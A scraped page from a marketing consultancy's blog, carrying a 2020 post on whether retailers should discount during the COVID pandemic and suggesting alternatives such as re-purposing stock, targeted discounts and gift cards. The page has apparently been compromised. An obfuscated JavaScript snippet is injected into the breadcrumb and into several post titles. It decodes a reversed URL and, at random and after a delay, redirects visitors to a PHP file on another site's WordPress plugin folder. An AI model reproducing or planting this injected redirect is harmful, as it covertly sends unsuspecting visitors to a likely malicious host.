FYAMI.
  • Home
  • About Us
    • Our Story
    • Success Stories
  • Knowledge Base
    • Ebooks and Whitepapers
    • Case Study
  • Services
    • On Demand Solutions
    • The One Package – CMO & CTO expertise when you need it.
    • Lead Generation
    • Marketing Consultancy
    • Webinar & Events Management
    • Email Marketing
    • Social Media Management
    • Marketing & Sales Training
    • Technology Solutions
    • Web Design
    • Content Writing
    • Public Relations (PR)
  • Blog
  • Contact
FYAMI.
  • Home
  • About Us
    • Our Story
    • Success Stories
  • Knowledge Base
    • Ebooks and Whitepapers
    • Case Study
  • Services
    • On Demand Solutions
    • The One Package – CMO & CTO expertise when you need it.
    • Lead Generation
    • Marketing Consultancy
    • Webinar & Events Management
    • Email Marketing
    • Social Media Management
    • Marketing & Sales Training
    • Technology Solutions
    • Web Design
    • Content Writing
    • Public Relations (PR)
  • Blog
  • Contact
  • Home
  • About Us
    • Our Story
    • Success Stories
  • Knowledge Base
    • Ebooks and Whitepapers
    • Case Study
  • Services
    • On Demand Solutions
    • The One Package – CMO & CTO expertise when you need it.
    • Lead Generation
    • Marketing Consultancy
    • Webinar & Events Management
    • Email Marketing
    • Social Media Management
    • Marketing & Sales Training
    • Technology Solutions
    • Web Design
    • Content Writing
    • Public Relations (PR)
  • Blog
  • Contact
  • Home
  • >
  • Blog
  • >
  • $Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemic?">Retail – is discounting a smart approach during this pandemic?

Retail – is discounting a smart approach during this pandemic?

byFaye Eldridge inCovid19, Digital, retail posted on20th May 2020
0

So many industries have been badly hit by this pandemic, and the retail sector seems to be at the forefront of them all.  Before the spread of the virus, the retail industry was already on shaky grounds.  Consumer skepticism was slowly increasing, and mass-production brands were being targeted for neglecting to address and conform to demands focusing on more sustainability and transparency.  Now, not only are businesses going to need to confront those issues, but they will also have to realign their retail strategies in order to target a more cost-conscious consumer, as more than 65% of customers in the US and Europe are aiming to decrease their spending on apparel.

In this year alone, the global fashion industry revenue is projected to shrink 27-30%, whilst the luxury goods sector will suffer a greater decrease of 35-39%.  Things haven’t gotten this glim for brands since the financial crisis of 2008, which forced numerous companies to slash prices in order to stay afloat and maintain cash inflow.  The similarities between this crisis and that of 2008, regarding what’s to come with the global economy, seems to bring brands to pursuit parallel actions to survive this period of economic uncertainty.  But will discounting several products, or in some cases ALL of their merchandise, actually present itself as a “smart and feasible business solution?”  

Yes, discounting can benefit brands in the short-term, but in the long-term, it will only cause the company more issues and distressing ramifications.  COVID-19 has forced retailers to temporarily close down brick-and-motor stores, which, as a result, has caused warehouses to be overpacked with unsold inventory.  Because of longer lead times and overfilled depots, “companies will turn to steep discounting to clear inventory”, a trend that is going to cause a ripple effect in the retail industry and is “reminiscent of the discounting culture that took hold during the 2008 financial crisis”.  To get customers to keep buying, companies are resorting to slashing prices as an incentive for people to shop.  Because many businesses are focusing on an off-price model, those brands that can actually afford to sell merchandise at a full price are also being forced to enter this ‘race to the bottom’, resulting in a prisoner’s dilemma.

Solely relying on a discounting strategy can potentially hinder consumer confidence and appear to be insensitive, especially as individuals are becoming increasingly concerned with ethical and sustainable production.  Reducing prices might help alleviate the burden during this time period, but “growth in the discount sector puts companies at risk of margin erosion”.  There are implications for discounting products and, if businesses decide to move ahead and pursue this strategy, must consider doing so with good judgement.  On the other hand, there are several options, other than offering mass discounts to consumers, that can help brands maneuver this dark and uncertain time period.  

Re-purposing existing stock for upcoming or new season –

Re-purposing existing stock for upcoming or new season would be an alternative approach for several businesses.  This could also help boost consumer confidence, especially with Millennial’s and Gen Z, as it goes to show that the brand is steering away from mass-production and integrating sustainability within their new core strategy. Re-purposing stock is also a good way to postpone filling in new orders until your current supply of merchandise is finished, which means less expenditures.  

Targeted discounting strategy –

Targeted discounting strategy is another good solution, as it “boosts direct sales without hurting the brand’s image”.  Implementing a site-wide discount can hinder the brand, as it goes to show that the company is more concerned with generating sales than playing a role in sustainable production.  Thus, engaging in targeted discounting can be an alternative proposal.  It would allow the businesses to be more selective of the merchandise they choose to put on sale and, as a result, avoid ‘training’ their customers to only purchase discounted items. Take example from a minimalistic luxury brand called Mansur Gavriel.  They, for instance, are offering a 20% discount on specific colors each week, which “keeps customers coming back to find new deals”.

Issuing gift cards –

Issuing gift cards is also another possible route brands can take to generate sales.  This would serve as an incentive for customers to purchase from the website and maybe spend a certain amount to receive a gift card or discount during their next acquisition.  Several brands have already resorted to this alternative and, countries like China, are replicating a similar scheme by issuing vouchers to citizens in order to encourage consumption and spending.    

Brands should be urged to undertake other sales strategies for the time being and avoid solely focusing on slashing prices throughout their product line.  There are other effective and innovative ways you can go about selling your merchandise! Don’t limit yourself to doing the same thing everyone else is doing just because it’s convenient, try something different and who knows maybe your brand will come up with a new and unique approach to reaching consumers.  This is the time to turn things around and be a mover and shaker in today’s world. 

Sources: Business of Fashion  

  • https://www.businessoffashion.com/articles/intelligence/the-new-normal-a-discount-mindset-will-deepen-its-grip-on-consumers 
  • https://www.businessoffashion.com/articles/professional/coronavirus-fashion-retail-discounts-sales 
  • https://www.businessoffashion.com/articles/professional/try-virtual-vouchers-instead-of-deep-discounting
covid19retail
Subject: Marketing for a TENNER.

Previous

The Golden Circle - This is so important in business <script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script>and leadership.

Next

Related Posts

7th September 2020
Is it time to invest in AI (artificial intelligence) technology? 

Is it time to invest in AI technology?   “It is difficult to think of a...

No Comments
30th June 2020
The Golden Circle – This is so important in business <script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script>and leadership.

 The Golden Circle for Leadership and Marketing  You might have heard of Simon...

No Comments
10th April 2020
‘Marketing, Adaptability <script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script>and ‘Fight or Flight’ in times of Crisis’

The Times They Are a Changing’ - Bob Dylan The Coronavirus Crisis has...

No Comments

Recent Posts

  • DeFi has grown over 88x in the last year, fuelling the financial revolution where De-Fi and consumers are both the winners. How?
  • 4 Reasons Why Lead Generation Will Help You Grow Your Business 
  • For SMEs in Kingston Upon Thames & Richmond Upon Thames – KT1, KT2, TW9, TW10.
  • CEO relational leadership and strategic decision quality in management teams: The role of team trust and learning from failure
  • Business consulting – Brief info on survey research and quantitative data – as part of DBA, doctor of business research.

Recent Comments

    Archives

    • February 2022
    • December 2020
    • November 2020
    • October 2020
    • September 2020
    • August 2020
    • July 2020
    • June 2020
    • May 2020
    • April 2020
    • March 2020
    • November 2018
    • October 2018
    • November 2017
    • September 2017
    • August 2017
    • July 2017

    Categories

    • Apps
    • Blog
    • CMO
    • Community
    • Consulting
    • Covid19
    • CTO
    • Digital
    • Finance
    • Latest News
    • MODERN WORKPLACE
    • Research
    • retail
    • SEO
    • Social Media
    • Software
    • Websites

    Blog Tags

    Ai b2b lead generation tech blog blogging Business help covid-19 Business help London Corona Virus case study CMO consulting content content writing Corona Virus business marketing covid19 CTO cyber crime cyber security Cyber security marketing consultant Cyber security Marketing director Cyber security marketing plan DIGITAL Digital Change finance landing page Lead Generation Richmond London London Marketing help Covid-19 Marketing Consultant Fulham Marketing Consultant Kingston Marketing consultant London Marketing Consultant Putney Marketing Consultant Richmond Marketing Freelance London Marketing Freelancer B2B Marketing Freelancer Richmond Marketing offer cheap Modern WorkPlace retail Richmond London Self employed Marketing Self employed marketing consultant Self employed marketing help Social media management Twitter South West London Marketing success story Technology business webinar

    At Fyami our team of driven and talented consultants specialise in full technology and marketing solutions for your business. We believe that the most ambitious and successful businesses need both – Exceptional marketing and exceptional technology.

    Find our more about us

    Our Services

    • Fyami Worldwide
    • Technology Solutions
    • Sales and Marketing Software
    • Web Design
    • Search Engine Optimization
    • FYAMI Grants

    Contacts

    179-181 Lower Richmond Road,
    Richmond, London, TW9 4LN
    Telephone
    020 8012 7949
    Email
    hello@fyami.com

    Privacy Policy | Terms & Conditions

    Social

    Join our social networks, get news and promotions

    Linkedin Twitter